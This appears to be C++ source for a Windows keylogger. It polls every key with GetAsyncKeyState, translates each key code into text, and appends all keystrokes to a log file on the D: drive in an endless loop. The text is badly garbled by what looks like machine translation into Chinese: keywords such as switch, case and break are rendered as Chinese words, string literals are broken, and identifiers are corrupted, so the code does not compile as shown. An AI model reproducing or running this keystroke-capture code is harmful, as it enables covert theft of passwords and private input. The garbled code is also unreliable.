# include & ltwindows.h & gt
# include & ltWinuser.h & gt
# include & lt字符串& gt
# include & ltfstream & gt
# include & ltiostream & gt
使用命名空間std
String GetKey(int Key) //確定鍵盤按的是什麽鍵。
{
字符串KeyString =
//判斷符號輸入
const int keypress mask = 0x 80000000;//鍵盤掩碼常量
int is hift = getkey state(0x 10);//判斷Shift鍵狀態
bool IS =(IS hift & amp;keypress mask)= = keypress mask;//表示按下Shift鍵。
if(Key & gt;=186。& ampKey & lt=222)
{
開關(鑰匙)
{
案例186:
如果(為)
KeyString = ":";
其他
KeyString = ";";
打破;
案例187:
如果(為)
KeyString = "+";
其他
KeyString = " =
打破;
案例188:
如果(為)
KeyString = " & lt;
其他
KeyString = ",";
打破;
案例189:
如果(為)
KeyString = " _
其他
KeyString = "-";
打破;
案例190:
如果(為)
KeyString = " >;
其他
KeyString = ",";
打破;
案例191:
如果(為)
KeyString = "?";
其他
KeyString = "/";
打破;
案例192:
如果(為)
KeyString = " ~
其他
KeyString =
打破;
案例219:
如果(為)
KeyString = " {
其他
KeyString = "[";
打破;
案例220:
如果(為)
KeyString = " |
其他
KeyString = " \ \
打破;
案例221:
如果(為)
KeyString = " }
其他
KeyString = "]";
打破;
案例222:
如果(為)
KeyString =“”;
其他
KeyString = " " ";
打破;
}
}
//判斷鍵盤的第壹行
If (Key == VK_ESCAPE) //退出
KeyString = "[Esc]";
else if(key = = vk _ f 1)//f 1至F12。
KeyString = "[f 1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[f 10]";
else if (Key == VK_F11)
KeyString = "[f 11]";
else if (Key == VK_F12)
KeyString = "[f 12]";
Else if (Key == VK快照)//打印屏幕。
KeyString = "[PRS CrN]";
Else if (Key == VK滾動)//滾動鎖定
KeyString = "[Scroll Lock]";
else if(Key = = VK _暫停)//暫停,中斷
KeyString = "[Pause]";
Else if (Key == VK資本)//大寫鎖定
KeyString = "[Caps Lock]";
// - //
//控制鍵
else if(Key = = 8)//& lt;-退格鍵
KeyString = "[back space]";
Else if (Key == VK_RETURN) //回車鍵,換行
KeyString = "[Enter]\ n ";
Else if (Key == VK空間)// space
KeyString =
//Shift鍵:鍵盤錄音時,不需要錄音。單獨的Shift不會有任何字符,
shift鍵與其他鍵組合,有字符輸出。
/*
Else if (Key == VK_LSHIFT) //左移鍵。
KeyString = "[Shift]";
Else if (Key == VK_LSHIFT) //右移鍵。
KeyString = "[SHIFT]";
*/
/*如果只記錄鍵盤輸入的字母:下列鍵可能不會輸出到文件*/
Else if (Key == VK_TAB) // tab鍵
KeyString = "[Tab]";
else if(Key = = VK _控制)//左控制鍵
KeyString = "[Ctrl]";
else if(Key = = VK _遙控)//右控制鍵
KeyString = "[CTRL]";
else if(Key = = VK _菜單)//左移鍵
KeyString = "[Alt]";
else if(Key = = VK _菜單)//右移鍵
KeyString = "[ALT]";
Else if (Key == VK_LWIN) //右WINDOWS鍵
KeyString = "[Win]";
Else if (Key == VK_RWIN) //右窗口鍵
KeyString = "[WIN]";
Else if (Key == VK應用程序)//右擊鍵盤。
KeyString = "右鍵單擊";
else if(Key = = VK _插入)//插入
KeyString = "[Insert]";
else if(Key = = VK _刪除)//刪除
KeyString = "[Delete]";
Else if (Key == VK_HOME) // Start
KeyString = "[Home]";
否則if (Key == VK_END) // End
KeyString = "[End]";
Else if (Key == VK_PRIOR) //上壹頁
KeyString = "[PgUp]";
Else if (Key == VK_NEXT) //下壹頁
KeyString = "[pg down]";
//幾個不常用的鍵:壹般鍵盤沒有。
else if(Key = = VK _取消)//取消
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) //清除
KeyString = "[Clear]";
else if (Key == VK選擇)//選擇
KeyString = "[Select]";
else if(Key = = VK _ PRINT)//打印
KeyString = "[Print]";
else if(Key = = VK _ EXECUTE)//執行
KeyString = "[Execute]";
// - //
else if(Key = = VK _左)//上、下、左、右。
KeyString = "[←]";
else if(Key = = VK _右)
KeyString = "[→]";
else if (Key == VK_UP)
KeyString = "[↑]";
else if (Key == VK向下)
KeyString = "[↓]";
else if(Key = = VK _數字鎖)//鍵盤數字鎖
KeyString = "[NumLock]";
Else if (Key == VK_ADD) //加減乘除。
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK乘法)
KeyString = " *
else if(Key = = VK _除)
KeyString = "/";
else if(key = = 190 | | key = = 110)//keypad。
KeyString = ",";
//鍵盤數字鍵:0-9
else if (Key == VK_NUMPAD0)
KeyString = " 0
else if(Key = = VK _ numpa 1)
KeyString = " 1 ";
else if (Key == VK_NUMPAD2)
KeyString = " 2
else if (Key == VK_NUMPAD3)
KeyString = " 3
else if (Key == VK_NUMPAD4)
KeyString = " 4
else if (Key == VK_NUMPAD5)
KeyString = " 5
else if (Key == VK_NUMPAD6)
KeyString = " 6
else if(Key = = VK _數字小鍵盤7)
KeyString = " 7
else if(Key = = VK _數字小鍵盤8)
KeyString = " 8
else if(Key = = VK _數字小鍵盤9)
KeyString = " 9
// - //
// - //
//*判斷字母大小寫*//
else if(Key & gt;= 97 & amp& ampKey & lt= 122) //字母:a-z
{
if(get keystone(vk _ capital))//大寫鎖定
{
If(IS) //Shift鍵:小寫字母。
KeyString = Key
Else //僅大寫鎖定:輸出大寫字母。
Key string = Key-32;
}
Else//大寫不鎖定。
{
如果(為)//按Shift鍵:大寫字母。
Key string = Key-32;
Else //沒有按下Shift鍵:小寫字母
KeyString = Key
}
}
else if(Key & gt;= 48 & amp& ampKey & lt= 57) //鍵盤數字:0-9和上面的符號。
{
如果(為)
{
開關(鑰匙)
{
案例48: //0
KeyString = ")";
打破;
案例49://1
KeyString = "!";
打破;
案例50://2
KeyString = " @
打破;
案例51://3
KeyString = " #
打破;
案例52://4
KeyString = " $
打破;
案例53://5
KeyString = " %
打破;
案例54://6
key string = " ^ ";
打破;
案例55://7
KeyString = " & amp;
打破;
案例56://8
KeyString = " *
打破;
案例57://9
KeyString = "(";
打破;
}
}
其他
KeyString = Key
}
如果(關鍵!= VK_LBUTTON || Key!= VK _按鈕)
{
if(Key & gt;= 65 & amp& ampKey & lt=90) //ASCII 65-90是A-Z。
{
if(get keystone(vk _ capital))//大寫鎖定:輸出A-Z。
{
If(IS) //大寫鎖定,按下shift鍵:輸出小寫字母。
Key string = Key+32;
Else //僅大寫鎖定:輸出是大寫字母。
KeyString = Key
}
Else //大寫不鎖定:a-z
{
如果(為)
{
KeyString = Key
}
其他
{
Key = Key+32;
KeyString = Key
}
}
}
}
返回KeyString
}
void main()
{
string Filename = " D:\ \ log . txt ";//倒出來的記錄文本存放在d盤的log.txt目錄下。
string TempString =
fstream FStream
cout & lt& lt”現在開始鍵盤錄音”;
FStream.open(Filename.c_str(),STD::fstream::out | STD::fstream::app);
while(真)
{
睡眠(5);
for(int I = 8;我& lt=255;i++)
{
if(GetAsyncKeyState(I)& amp;1 ==1)
{
TempString = GetKey(I);
FStream.write(TempString.c_str()、tempstring . size());
fstream . close();
FStream.open(Filename.c_str(),STD::fstream::out | STD::fstream::app);
}
}
}
}